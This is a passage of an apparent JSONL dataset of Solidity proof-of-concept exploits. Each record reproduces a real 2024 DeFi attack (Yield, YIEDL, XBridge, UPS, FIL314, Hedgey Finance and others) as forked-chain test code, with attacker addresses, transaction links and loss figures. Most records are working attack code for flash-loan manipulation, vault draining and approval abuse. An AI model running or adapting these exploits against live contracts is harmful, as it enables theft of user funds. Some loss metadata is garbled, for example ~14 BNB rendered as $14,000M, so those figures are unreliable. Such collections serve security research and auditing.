here\n address[] memory tokens = new address[](1);\n tokens[0] = address(USDC);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = 400_000 * 1e6;\n bytes memory userData = \"\";\n Balancer.flashLoan(address(this), tokens, amounts, userData);\n\n // Log balances after exploit\n emit log_named_decimal_uint(\n \" Attacker USDC Balance After exploit\", USDC.balanceOf(address(this)), USDC.decimals()\n );\n }\n\n function receiveFlashLoan(\n address[] calldata tokens,\n uint256[] calldata amounts,\n uint256[] calldata fees,\n bytes calldata userData\n ) external {\n USDC.transfer(address(YieldStrategy_1), 308_000 * 1e6);\n YieldStrategy_1.mintDivested(address(this)); // mint pool token with USDC\n\n uint256 transferAmount = YieldStrategy_1.balanceOf(address(this)) / 2;\n YieldStrategy_1.transfer(address(YieldStrategy_2), transferAmount);\n YieldStrategy_2.mint(address(YieldStrategy_2)); // mint strategy token\n\n YieldStrategy_1.transfer(address(YieldStrategy_2), YieldStrategy_1.balanceOf(address(this))); // donate pool token to strategy token vault\n YieldStrategy_2.burn(address(this)); // burn strategy token to get pool token\n\n YieldStrategy_2.mint(address(YieldStrategy_2)); // recover donated pool token\n YieldStrategy_2.burn(address(this));\n\n YieldStrategy_1.transfer(address(YieldStrategy_1), YieldStrategy_1.balanceOf(address(this)));\n YieldStrategy_1.burnDivested(address(this)); // burn pool token to USDC\n\n USDC.transfer(address(Balancer), amounts[0]);\n }\n}\n", "type": "exploit_poc", "protocol": "Yield", "date": "2024-04", "file_name": "Yield_exp.sol", "attack_vector": "flash_loan", "content_hash": "f85c1993c0b3d94e", "collected_at": "2026-01-07T10:59:16.526666", "_source": "postmortems", "chain": "arbitrum", "block_number": null, "total_lost_raw": "181K", "total_lost_usd": 181000.0, "attacker_address": "https://arbiscan.io/address/0x1abe06f451e2d569b3e9123baf33b51f68878656", "attack_contract": "https://arbiscan.io/address/0xd775fd7b76424a553e4adce6c2f99be419ce8d41", "vulnerable_contract": "https://arbiscan.io/address/0x3b4ffd93ce5fcf97e61aa8275ec241c76cc01a47", "attack_tx": "https://arbiscan.io/tx/0x6caa65b3fc5c8d4c7104574c3a15cd6208f742f9ada7d81ba027b20473137705", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": true, "severity": "high", "severity_raw": "181K", "category": "flash-loan", "exploit_code": "function testExploit() public {\n // Implement exploit code here\n address[] memory tokens = new address[](1);\n tokens[0] = address(USDC);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = 400_000 * 1e6;\n bytes memory userData = \"\";\n Balancer.flashLoan(address(this), tokens, amounts, userData);\n\n // Log balances after exploit\n emit log_named_decimal_uint(\n \" Attacker USDC Balance After exploit\", USDC.balanceOf(address(this)), USDC.decimals()\n );\n }", "has_exploit_code": true, "keyinfo_total_lost": "181K", "keyinfo_attacker": "https://arbiscan.io/address/0x1abe06f451e2d569b3e9123baf33b51f68878656", "keyinfo_attack_contract": "https://arbiscan.io/address/0xd775fd7b76424a553e4adce6c2f99be419ce8d41", "keyinfo_vulnerable_contract": "https://arbiscan.io/address/0x3b4ffd93ce5fcf97e61aa8275ec241c76cc01a47", "keyinfo_attack_tx": "https://arbiscan.io/tx/0x6caa65b3fc5c8d4c7104574c3a15cd6208f742f9ada7d81ba027b20473137705", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$181.0K", "content_richness_score": 8.83, "quality_estimate": "high", "title": "Yield Exploit (2024-04)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "pragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo -- Total Lost : ~0.3 ETH\n// TX : https://app.blocksec.com/explorer/tx/eth/0x6fb7f8e9eb09d6ae17dbe82b2b42f46f64fb9c3197438b68ecf03e832d5fc791\n// Attacker : https://etherscan.io/address/0x676c3262e8f0fba0031a93ea74ff801b99ac177b\n// Attack Contract : https://etherscan.io/address/0xc976ed4b25e1e7019ff34fb54f4e63b1550b70c3\n// GUY : https://x.com/ChainAegis/status/1775351437410918420\n\ncontract Exploit is Test {\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n Uni_Pair_V3 Pair = Uni_Pair_V3(0xaA6f337f16E6658d9c9599c967D3126051b6c726);\n IERC20 Hoppy = IERC20(0xE5c6F5fEF89B64f36BfcCb063962820136bAc42F);\n IERC20 WETH = IERC20(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);\n Uni_Router_V2 Router = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n function setUp() external {\n cheats.createSelectFork(\"mainnet\", 19_570_744);\n }\n\n function testExploit() external {\n emit log_named_decimal_uint(\"[Begin] Attacker WETH before exploit\", WETH.balanceOf(address(this)), 18);\n uint256 amount = Hoppy.balanceOf(address(Pair));\n Pair.flash(address(this), 0, amount, \"123\");\n emit log_named_decimal_uint(\"[End] Attacker WETH after exploit\", WETH.balanceOf(address(this)), 18);\n }\n\n function uniswapV3FlashCallback(uint256 amount0, uint256 amount1, bytes calldata data) external {\n Hoppy.approve(address(Router), type(uint256).max);\n swap_token_to_token(address(Hoppy), address(WETH), 3_071_435_167_652_113_869_853);\n Hoppy.transfer(address(Hoppy), 206_900_000_001_000_000_000);\n swap_token_to_token(address(Hoppy), address(WETH), 4_206_900_000_000_000_000_000);\n swap_token_to_ExactToken(\n 7_560_087_519_329_645_008_552, address(WETH), address(Hoppy), 3_907_363_705_363_283_233\n );\n Hoppy.transfer(address(msg.sender), 7_560_087_519_329_645_008_552);\n }\n\n function swap_token_to_token(address a, address b, uint256 amount) internal {\n IERC20(a).approve(address(Router), amount);\n address[] memory path = new address[](2);\n path[0] = address(a);\n path[1] = address(b);\n Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);\n }\n\n function swap_token_to_ExactToken(uint256 amountout, address a, address b, uint256 amountInMax) public payable {\n IERC20(a).approve(address(Router), amountInMax);\n address[] memory path = new address[](2);\n path[0] = address(a);\n path[1] = address(b);\n Router.swapTokensForExactTokens(amountout, amountInMax, path, address(this), block.timestamp + 120);\n }\n}\n", "type": "exploit_poc", "protocol": "HoppyFrogERC", "date": "2024-04", "file_name": "HoppyFrogERC_exp.sol", "attack_vector": null, "content_hash": "0bb815a9dda687ec", "collected_at": "2026-01-07T10:59:16.526717", "_source": "postmortems", "chain": "ethereum", "block_number": 19570744, "total_lost_raw": "~0.3 ETH", "total_lost_usd": 0.3, "attacker_address": "https://etherscan.io/address/0x676c3262e8f0fba0031a93ea74ff801b99ac177b", "attack_contract": "https://etherscan.io/address/0xc976ed4b25e1e7019ff34fb54f4e63b1550b70c3", "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": false, "severity": "low", "severity_raw": "~0.3 ETH", "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "https://etherscan.io/address/0x676c3262e8f0fba0031a93ea74ff801b99ac177b", "keyinfo_attack_contract": "https://etherscan.io/address/0xc976ed4b25e1e7019ff34fb54f4e63b1550b70c3", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$0", "content_richness_score": 3.39, "quality_estimate": "low", "title": "HoppyFrogERC Exploit (2024-04)", "has_total_lost": true, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @Analysis\n// https://twitter.com/Phalcon_xyz/status/1782966566042181957\n// @TX\n// https://app.blocksec.com/explorer/tx/bsc/0x49ca5e188c538b4f2efb45552f13309cc0dd1f3592eee54decfc9da54620c2ec\n\ninterface ISportVault {\n function redeem(\n uint256 sharesToRedeem,\n address receivingAsset,\n uint256 minTokensToReceive,\n bytes[] calldata dataList,\n bool useDiscount\n ) external returns (uint256 tokensToReturn);\n}\n\ncontract ContractTest is Test {\n IERC20 USDC = IERC20(0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d);\n IERC20 BTCB = IERC20(0x7130d2A12B9BCbFAe4f2634d864A1Ee1Ce3Ead9c);\n IERC20 BETH = IERC20(0x2170Ed0880ac9A755fd29B2688956BD959F933F8);\n IERC20 BUSD = IERC20(0x55d398326f99059fF775485246999027B3197955);\n ISportVault sportVault = ISportVault(0x4eDda16AB4f4cc46b160aBC42763BA63885862a4);\n\n address Attacker = address(0x1111111111111111111111111111111111111111);\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", 38_126_753);\n }\n\n function testExploit() public {\n bytes[] memory dataList = new bytes[](11); //@note mock data list - unoswapTo\n uint256[] memory pools = new uint256[](1);\n pools[0] = uint256(\n 28_948_022_309_329_048_857_350_594_136_651_893_637_891_169_795_467_361_725_136_627_244_723_734_772_827\n );\n dataList[0] = abi.encodeWithSignature(\n \"unoswapTo(address,address,uint256,uint256,uint256[])\",\n Attacker,\n address(USDC),\n 2_331_516_232_778_274_153_239,\n 0,\n pools\n );\n\n pools[0] = uint256(\n 28_948_022_309_329_048_857_350_594_135_968_575_911_172_281_388_296_638_049_447_197_314_275_709_206_658\n );\n dataList[1] = abi.encodeWithSignature(\n \"unoswapTo(address,address,uint256,uint256,uint256[])\",\n Attacker,\n address(BTCB),\n 16_071_737_934_381_556,\n 0,\n pools\n );\n\n pools[0] = uint256(\n 28_948_022_309_329_048_857_350_594_136_076_890_004_755_093_450_729_657_598_371_073_172_666_212_569_020\n );\n dataList[2] = abi.encodeWithSignature(\n \"unoswapTo(address,address,uint256,uint256,uint256[])\",\n Attacker,\n address(BETH),\n 256_895_663_903_293_078,\n 0,\n pools\n );\n\n dataList[3] = new bytes(0);\n dataList[4] = new bytes(0);\n dataList[5] = new bytes(0);\n dataList[6] = new bytes(0);\n dataList[7] = new bytes(0);\n dataList[8] = new bytes(0);\n dataList[9] = new bytes(0);\n dataList[10] = new bytes(0);\n\n console2.log(\"Attacker BNB balance before: \", Attacker.balance);\n\n for (uint256 i = 0; i < 20; i++) {\n USDC.balanceOf(address(sportVault));\n BTCB.balanceOf(address(sportVault));\n BETH.balanceOf(address(sportVault));\n BUSD.balanceOf(address(sportVault));\n\n sportVault.redeem(0, address(BUSD), 0, dataList, false);\n }\n\n console2.log(\"Attacker BNB balance after: \", Attacker.balance);\n }\n}\n", "type": "exploit_poc", "protocol": "YIEDL", "date": "2024-04", "file_name": "YIEDL_exp.sol", "attack_vector": null, "content_hash": "92f37ab3a57eeeee", "collected_at": "2026-01-07T10:59:16.526764", "_source": "postmortems", "chain": "unknown", "block_number": 38126753, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": true, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "function testExploit() public {\n bytes[] memory dataList = new bytes[](11); //@note mock data list - unoswapTo\n uint256[] memory pools = new uint256[](1);\n pools[0] = uint256(\n 28_948_022_309_329_048_857_350_594_136_651_893_637_891_169_795_467_361_725_136_627_244_723_734_772_827\n );\n dataList[0] = abi.encodeWithSignature(\n \"unoswapTo(address,address,uint256,uint256,uint256[])\",\n Attacker,\n address(USDC),\n 2_331_516_232_778_274_153_239,\n 0,\n pools\n );\n\n pools[0] = uint256(\n 28_948_022_309_329_048_857_350_594_135_968_575_911_172_281_388_296_638_049_447_197_314_275_709_206_658\n );\n dataList[1] = abi.encodeWithSignature(\n \"unoswapTo(address,address,uint256,uint256,uint256[])\",\n Attacker,\n address(BTCB),\n 16_071_737_934_381_556,\n 0,\n pools\n );\n\n pools[0] = uint256(\n 28_948_022_309_329_048_857_350_594_136_076_890_004_755_093_450_729_657_598_371_073_172_666_212_569_020\n );\n dataList[2] = abi.encodeWithSignature(\n \"unoswapTo(address,address,uint256,uint256,uint256[])\",\n Attacker,\n address(BETH),\n 256_895_663_903_293_078,\n 0,\n pools\n );\n\n dataList[3] = new bytes(0);\n dataList[4] = new bytes(0);\n dataList[5] = new bytes(0);\n dataList[6] = new bytes(0);\n dataList[7] = new bytes(0);\n dataList[8] = new bytes(0);\n dataList[9] = new bytes(0);\n dataList[10] = new bytes(0);\n\n console2.log(\"Attacker BNB balance before: \", Attacker.balance);\n\n for (uint256 i = 0; i < 20; i++) {\n USDC.balanceOf(address(sportVault));\n BTCB.balanceOf(address(sportVault));\n BETH.balanceOf(address(sportVault));\n BUSD.balanceOf(address(sportVault));\n\n sportVault.redeem(0, address(BUSD), 0, dataList, false);\n }\n\n console2.log(\"Attacker BNB balance after: \", Attacker.balance);\n }", "has_exploit_code": true, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 3.64, "quality_estimate": "low", "title": "YIEDL Exploit (2024-04)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : ~$1.6M(https://debank.com/profile/0x0cfc28d16d07219249c6d6d6ae24e7132ee4caa7, >200k USD(plus a lot of STC, SRLTY, Mazi tokens))\n// Attacker : https://etherscan.io/address/0x0cfc28d16d07219249c6d6d6ae24e7132ee4caa7\n// Vulnerable Contract : https://etherscan.io/address/0x354cca2f55dde182d36fe34d673430e226a3cb8c#code\n// Attack Tx Step1(deposit) : https://etherscan.io/tx/0xe09d350d8574ac1728ab5797e3aa46841f6c97239940db010943f23ad4acf7ae\n// Attack Tx Step2(withdrawToken): https://etherscan.io/tx/0x903d88a92cbc0165a7f662305ac1bff97430dbcccaa0fe71e101e18aa9109c92\n\n// @Analysis\n// https://twitter.com/CyversAlerts/status/1783045506471432610\n\ninterface IXbridge {\n struct tokenInfo {\n address token;\n uint256 chain;\n }\n\n function listToken(\n tokenInfo memory baseToken,\n tokenInfo memory correspondingToken,\n bool _isMintable\n ) external payable;\n function withdrawTokens(address token, address receiver, uint256 amount) external;\n}\n\ncontract ContractTest is Test {\n IERC20 STC = IERC20(0x19Ae49B9F38dD836317363839A5f6bfBFA7e319A);\n IXbridge xbridge = IXbridge(0x47Ddb6A433B76117a98FBeAb5320D8b67D468e31);\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", 19_723_701 - 1);\n }\n\n function testExploit() public {\n // First TX\n deal(address(this), 0.15 ether);\n emit log_named_decimal_uint(\"Exploiter STC balance before attack\", STC.balanceOf(address(this)), 9);\n\n IXbridge.tokenInfo memory base = IXbridge.tokenInfo(address(STC), 85_936);\n IXbridge.tokenInfo memory corr = IXbridge.tokenInfo(address(STC), 95_838);\n\n xbridge.listToken{value: 0.15 ether}(base, corr, false);\n\n xbridge.withdrawTokens(address(STC), address(this), STC.balanceOf(address(xbridge)));\n\n emit log_named_decimal_uint(\"Exploiter STC balance after attack\", STC.balanceOf(address(this)), 9);\n }\n\n receive() external payable {}\n}\n", "type": "exploit_poc", "protocol": "XBridge", "date": "2024-04", "file_name": "XBridge_exp.sol", "attack_vector": null, "content_hash": "3061e72a365cabcc", "collected_at": "2026-01-07T10:59:16.526810", "_source": "postmortems", "chain": "ethereum", "block_number": 19723701, "total_lost_raw": "~$1.6M(https://debank.com/profile/0x0cfc28d16d07219249c6d6d6ae24e7132ee4caa7, >200k USD(plus a lot of STC, SRLTY, Mazi tokens))", "total_lost_usd": 1600000.0, "attacker_address": "https://etherscan.io/address/0x0cfc28d16d07219249c6d6d6ae24e7132ee4caa7", "attack_contract": null, "vulnerable_contract": "https://etherscan.io/address/0x354cca2f55dde182d36fe34d673430e226a3cb8c#code", "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": true, "has_attack_vector": false, "severity": "critical", "severity_raw": "~$1.6M(https://debank.com/profile/0x0cfc28d16d07219249c6d6d6ae24e7132ee4caa7, >200k USD(plus a lot of STC, SRLTY, Mazi tokens))", "category": "unknown", "exploit_code": "function testExploit() public {\n // First TX\n deal(address(this), 0.15 ether);\n emit log_named_decimal_uint(\"Exploiter STC balance before attack\", STC.balanceOf(address(this)), 9);\n\n IXbridge.tokenInfo memory base = IXbridge.tokenInfo(address(STC), 85_936);\n IXbridge.tokenInfo memory corr = IXbridge.tokenInfo(address(STC), 95_838);\n\n xbridge.listToken{value: 0.15 ether}(base, corr, false);\n\n xbridge.withdrawTokens(address(STC), address(this), STC.balanceOf(address(xbridge)));\n\n emit log_named_decimal_uint(\"Exploiter STC balance after attack\", STC.balanceOf(address(this)), 9);\n }\n\n receive() external payable {}", "has_exploit_code": true, "keyinfo_total_lost": "~$1.6M(https://debank.com/profile/0x0cfc28d16d07219249c6d6d6ae24e7132ee4caa7, >200k USD(plus a lot of STC, SRLTY, Mazi tokens))", "keyinfo_attacker": "https://etherscan.io/address/0x0cfc28d16d07219249c6d6d6ae24e7132ee4caa7", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "https://etherscan.io/address/0x354cca2f55dde182d36fe34d673430e226a3cb8c#code", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$1.60M", "content_richness_score": 6.04, "quality_estimate": "medium", "title": "XBridge Exploit (2024-04)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.10;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// TX : https://app.blocksec.com/explorer/tx/bsc/0xd03702e17171a32464ce748b8797008d59e2dbcecd3b3847d5138414566c886d\n \n// Profit : ~ 28K USD\n// REASON : business logic flaw XD transfer to pair won't lead to pair's amount change\n\ncontract ContractTest is Test {\n IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));\n IERC20 USDT = IERC20(0x55d398326f99059fF775485246999027B3197955);\n IERC20 UPS = IERC20(0x3dA4828640aD831F3301A4597821Cc3461B06678);\n CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);\n Uni_Pair_V3 pool = Uni_Pair_V3(0x4f31Fa980a675570939B737Ebdde0471a4Be40Eb);\n Uni_Pair_V2 ups_usdt = Uni_Pair_V2(0xA2633ca9Eb7465E7dB54be30f62F577f039a2984);\n Uni_Router_V2 router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);\n uint256 borrow_amount;\n\n function setUp() external {\n cheats.createSelectFork(\"bsc\", 37_680_754);\n deal(address(USDT), address(this), 0);\n }\n\n function testExploit() external {\n emit log_named_decimal_uint(\"[Begin] Attacker USDT before exploit\", USDT.balanceOf(address(this)), 18);\n borrow_amount = 3_500_000 ether;\n pool.flash(address(this), borrow_amount, 0, \"\");\n emit log_named_decimal_uint(\"[End] Attacker USDT after exploit\", USDT.balanceOf(address(this)), 18);\n }\n\n function pancakeV3FlashCallback(uint256 fee0, uint256 fee1, /*fee1*/ bytes memory /*data*/ ) public {\n USDT.transfer(address(ups_usdt), 2_000_000 ether);\n ups_usdt.sync();\n swap_token_to_token(address(USDT), address(UPS), 1_000_000 ether);\n uint256 i = 0;\n uint256 pair_balance = 0;\n uint256 here_balance = 0;\n uint256 transfer_amount = 0;\n while (i < 10) {\n pair_balance = UPS.balanceOf(address(ups_usdt));\n here_balance = UPS.balanceOf(address(address(this)));\n console.log(\">>>>\", here_balance, pair_balance, \"<<<<\");\n if (here_balance > pair_balance) {\n transfer_amount = pair_balance;\n } else {\n transfer_amount = here_balance;\n }\n UPS.transfer(address(ups_usdt), transfer_amount);\n ups_usdt.skim(address(this));\n i++;\n }\n i = 0;\n while (i < 3) {\n transfer_amount = UPS.balanceOf(address(ups_usdt));\n UPS.transfer(address(ups_usdt), transfer_amount);\n (uint256 r0, uint256 r1,) = ups_usdt.getReserves();\n uint256 amountOut = router.getAmountOut(transfer_amount - r0, r0, r1);\n ups_usdt.swap(0, amountOut, address(this), \"\");\n i++;\n }\n USDT.transfer(address(pool), borrow_amount + fee0);\n }\n\n function swap_token_to_token(address a, address b, uint256 amount) internal {\n IERC20(a).approve(address(router), amount);\n address[] memory path = new address[](2);\n path[0] = address(a);\n path[1] = address(b);\n router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);\n }\n}\n", "type": "exploit_poc", "protocol": "UPS", "date": "2024-04", "file_name": "UPS_exp.sol", "attack_vector": null, "content_hash": "ae5d1a76694ad559", "collected_at": "2026-01-07T10:59:16.526859", "_source": "postmortems", "chain": "unknown", "block_number": 37680754, "total_lost_raw": null, "total_lost_usd": null, "attacker_address": null, "attack_contract": null, "vulnerable_contract": null, "attack_tx": null, "postmortem_url": null, "twitter_url": null, "has_keyinfo": false, "has_analysis": false, "has_attack_vector": false, "severity": "medium", "severity_raw": null, "category": "unknown", "exploit_code": "", "has_exploit_code": false, "keyinfo_total_lost": "", "keyinfo_attacker": "", "keyinfo_attack_contract": "", "keyinfo_vulnerable_contract": "", "keyinfo_attack_tx": "", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "Unknown", "content_richness_score": 1.61, "quality_estimate": "low", "title": "UPS Exploit (2024-04)", "has_total_lost": false, "has_vulnerable_contract": false, "has_attack_tx": false, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"forge-std/Test.sol\";\nimport \"./../interface.sol\";\n\n// @KeyInfo - Total Lost : ~14 BNB\n// Attacker : https://bscscan.com/address/0x4645863205b47a0a3344684489e8c446a437d66c\n// Attack Contract : https://bscscan.com/address/0xde521fbbbb0dbcfa57325a9896c34941f23e96a0\n// Vulnerable Contract : https://bscscan.com/address/0xe8a290c6fc6fa6c0b79c9cfae1878d195aeb59af\n// Attack Tx : https://bscscan.com/tx/0x9f2eb13417190e5139d57821422fc99bced025f24452a8b31f7d68133c9b0a6c\n\n// @Info\n// Vulnerable Contract Code : https://bscscan.com/address/0xe8a290c6fc6fa6c0b79c9cfae1878d195aeb59af#code\n\ninterface IFIL314 {\n function getAmountOut(uint256 value, bool buy) external returns (uint256);\n function hourBurn() external;\n function transfer(address to, uint256 value) external returns (bool);\n function balanceOf(\n address account\n ) external view returns (uint256);\n}\n\ncontract FIL314 is Test {\n uint256 blocknumToForkFrom = 37_795_991;\n IFIL314 FIL314 = IFIL314(0xE8A290c6Fc6Fa6C0b79C9cfaE1878d195aeb59aF);\n\n function setUp() public {\n vm.createSelectFork(\"bsc\", blocknumToForkFrom);\n }\n\n function testExploit() public {\n // Implement exploit code here\n emit log_named_decimal_uint(\" Attacker BNB Balance Before exploit\", address(this).balance, 18);\n // buy FIL314 token\n address(FIL314).call{value: 0.05 ether}(\"\");\n // deflate the token\n for (uint256 i = 0; i < 6000; i++) {\n FIL314.hourBurn();\n }\n for (uint256 i = 0; i < 10; i++) {\n uint256 amount = FIL314.getAmountOut(address(FIL314).balance, true);\n // sell the token\n FIL314.transfer(address(FIL314), amount);\n }\n\n // Log balances after exploit\n emit log_named_decimal_uint(\" Attacker BNB Balance After exploit\", address(this).balance, 18);\n }\n\n fallback() external payable {}\n}\n", "type": "exploit_poc", "protocol": "FIL314", "date": "2024-04", "file_name": "FIL314_exp.sol", "attack_vector": null, "content_hash": "f80e4da09db3bf73", "collected_at": "2026-01-07T10:59:16.526903", "_source": "postmortems", "chain": "bsc", "block_number": null, "total_lost_raw": "~14 BNB", "total_lost_usd": 14000000000.0, "attacker_address": "https://bscscan.com/address/0x4645863205b47a0a3344684489e8c446a437d66c", "attack_contract": "https://bscscan.com/address/0xde521fbbbb0dbcfa57325a9896c34941f23e96a0", "vulnerable_contract": "https://bscscan.com/address/0xe8a290c6fc6fa6c0b79c9cfae1878d195aeb59af", "attack_tx": "https://bscscan.com/tx/0x9f2eb13417190e5139d57821422fc99bced025f24452a8b31f7d68133c9b0a6c", "postmortem_url": null, "twitter_url": null, "has_keyinfo": true, "has_analysis": false, "has_attack_vector": false, "severity": "critical", "severity_raw": "~14 BNB", "category": "unknown", "exploit_code": "function testExploit() public {\n // Implement exploit code here\n emit log_named_decimal_uint(\" Attacker BNB Balance Before exploit\", address(this).balance, 18);\n // buy FIL314 token\n address(FIL314).call{value: 0.05 ether}(\"\");\n // deflate the token\n for (uint256 i = 0; i < 6000; i++) {\n FIL314.hourBurn();\n }\n for (uint256 i = 0; i < 10; i++) {\n uint256 amount = FIL314.getAmountOut(address(FIL314).balance, true);\n // sell the token\n FIL314.transfer(address(FIL314), amount);\n }\n\n // Log balances after exploit\n emit log_named_decimal_uint(\" Attacker BNB Balance After exploit\", address(this).balance, 18);\n }\n\n fallback() external payable {}", "has_exploit_code": true, "keyinfo_total_lost": "~14 BNB", "keyinfo_attacker": "https://bscscan.com/address/0x4645863205b47a0a3344684489e8c446a437d66c", "keyinfo_attack_contract": "https://bscscan.com/address/0xde521fbbbb0dbcfa57325a9896c34941f23e96a0", "keyinfo_vulnerable_contract": "https://bscscan.com/address/0xe8a290c6fc6fa6c0b79c9cfae1878d195aeb59af", "keyinfo_attack_tx": "https://bscscan.com/tx/0x9f2eb13417190e5139d57821422fc99bced025f24452a8b31f7d68133c9b0a6c", "analysis_postmortem": "", "analysis_twitter": "", "funds_lost_formatted": "$14000.00M", "content_richness_score": 6.98, "quality_estimate": "medium", "title": "FIL314 Exploit (2024-04)", "has_total_lost": true, "has_vulnerable_contract": true, "has_attack_tx": true, "has_postmortem": false} +{"source_code": "// SPDX-License-Identifier: UNLICENSED\npragma solidity ^0.8.15;\n\nimport \"forge-std/Test.sol\";\nimport \"../interface.sol\";\n\n// @KeyInfo - Total Lost : 48M USD\n// Attacker : https://etherscan.io/address/0xDed2b1a426E1b7d415A40Bcad44e98F47181dda2\n// Attack Contract : https://etherscan.io/address/0xC793113F1548B97E37c409f39244EE44241bF2b3\n// Vulnerable Contract : https://etherscan.io/address/0xBc452fdC8F851d7c5B72e1Fe74DFB63bb793D511\n// Attack Tx : https://etherscan.io/tx/0x2606d459a50ca4920722a111745c2eeced1d8a01ff25ee762e22d5d4b1595739\n\n// @Info\n// Vulnerable Contract Code : https://etherscan.io/address/0xBc452fdC8F851d7c5B72e1Fe74DFB63bb793D511#code\n\n// @Analysis\n// Post-mortem : https://medium.com/@CUBE3AI/hedgey-finance-hack-detected-by-cube3-ai-minutes-before-exploit-1f500e7052d4\n// Twitter Guy : https://twitter.com/Cube3AI/status/1781294512716820918\n// Hacking God :\n\nenum TokenLockup {\n Unlocked,\n Locked,\n Vesting\n}\n\nstruct Campaign {\n address manager;\n address token;\n uint256 amount;\n uint256 end;\n TokenLockup tokenLockup;\n bytes32 root;\n}\n\nstruct Donation {\n address tokenLocker;\n uint256 amount;\n uint256 rate;\n uint256 start;\n uint256 cliff;\n uint256 period;\n}\n\nstruct ClaimLockup {\n address tokenLocker;\n uint256 start;\n uint256 cliff;\n uint256 period;\n uint256 periods;\n}\n\ninterface IClaimCampaigns {\n function createLockedCampaign(\n bytes16 id,\n Campaign memory campaign,\n ClaimLockup memory claimLockup,\n Donation memory donation\n ) external;\n\n function cancelCampaign(\n bytes16 campaignId\n ) external;\n}\n\ncontract HedgeyFinance is Test {\n uint256 blocknumToForkFrom = 19_687_890 - 1;\n\n IBalancerVault private constant BalancerVault = IBalancerVault(0xBA12222222228d8Ba445958a75a0704d566BF2C8);\n IERC20 private constant USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);\n\n // HedgeyFinance\n IClaimCampaigns private constant HedgeyFinance = IClaimCampaigns(0xBc452fdC8F851d7c5B72e1Fe74DFB63bb793D511);\n\n // Stolen money 1.305.000 USD\n uint256 loan = 1_305_000 * 1e6;\n\n function setUp() public {\n vm.createSelectFork(\"mainnet\", blocknumToForkFrom);\n\n vm.label(address(USDC), \"USDC\");\n vm.label(address(BalancerVault), \"BalancerVault\");\n }\n\n function testExploit() public {\n deal(address(this), 0 ether);\n emit log_named_decimal_uint(\"Attacker USDC balance before exploit\", address(this).balance, 18);\n\n address[] memory tokens = new address[](1);\n tokens[0] = address(USDC);\n uint256[] memory amounts = new uint256[](1);\n amounts[0] = loan;\n\n BalancerVault.flashLoan(address(this), tokens, amounts, \"\");\n\n // At this point we have an Approval\n uint256 HedgeyFinance_balance = USDC.balanceOf(address(HedgeyFinance));\n USDC.transferFrom(address(HedgeyFinance), address(this), HedgeyFinance_balance);\n\n emit log_named_decimal_uint(\n \"Attacker USDC balance after exploit\", USDC.balanceOf(address(this)), USDC.decimals()\n );\n }\n\n function receiveFlashLoan(\n address[] memory,\n uint256[] memory amounts,\n uint256[] memory fees,\n bytes memory\n ) external payable {\n // Start new campage\n USDC.approve(address(HedgeyFinance), loan);\n\n // Id\n bytes16 campaign_id = 0x00000000000000000000000000000001;\n\n Campaign memory campaign;\n campaign.manager = address(this);\n campaign.token = address(USDC);\n campaign.amount = loan;\n campaign.end = 3_133_666_800;\n campaign.tokenLockup = TokenLockup.Locked;\n campaign.root = \"\"; // 0x0000000000000000000000000000000000000000000000000000000000000000\n\n ClaimLockup memory claimLockup;\n claimLockup.tokenLocker = address(this);\n claimLockup.start = 0;\n claimLockup.cliff = 0;\n 